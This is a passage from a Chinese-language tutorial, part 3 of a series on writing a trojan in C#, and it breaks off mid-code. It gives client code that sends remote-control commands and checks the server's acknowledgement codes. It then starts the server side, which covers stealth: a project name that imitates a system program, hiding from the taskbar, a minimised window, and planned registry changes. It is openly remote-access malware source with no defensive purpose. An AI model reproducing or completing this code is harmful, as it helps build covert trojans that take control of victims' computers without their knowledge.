|
用C#实现木马程序(3) stream.Write(by,0,by.Length); stream.Flush(); threadReceive =new Thread(new ThreadStart(receive)); threadReceive.Start(); }//endif }//try catch { richTextBox1.AppendText("服务器未连接1控制无效!" +"\r"); MessageBox.Show("服务器未连接1控制无效!" +"\r"); } }//else if } 4线程执行的函数 private void receive() { //设置读取数据的空间 byte[] bb = new byte[3]; //读取3个字节,i为实际读取的字节数 int i = stream.Read(bb,0,3); //转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb); string ss = System.Text.Encoding.ASCII.GetString(bb); //hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功 if(ss=="hjc") { MessageBox.Show("连接成功"); richTextBox1.AppendText("连接成功"); } if(ss== "hkz") { richTextBox1.AppendText(control +"控制成功"+"\r"); MessageBox.Show(control +"控制成功"+"\r"); } } 服务端的开发: 要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍: 1.在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下: private void InitializeComponent() { // // Form1 // //窗体显示的起点和大小 this.AutoScaleBaseSize = new System.Drawing.Size(6, 14); this.ClientSize = new System.Drawing.Size(368, 357); //窗体名称 this.Name = "Form1"; //设置属性让它后台运行
|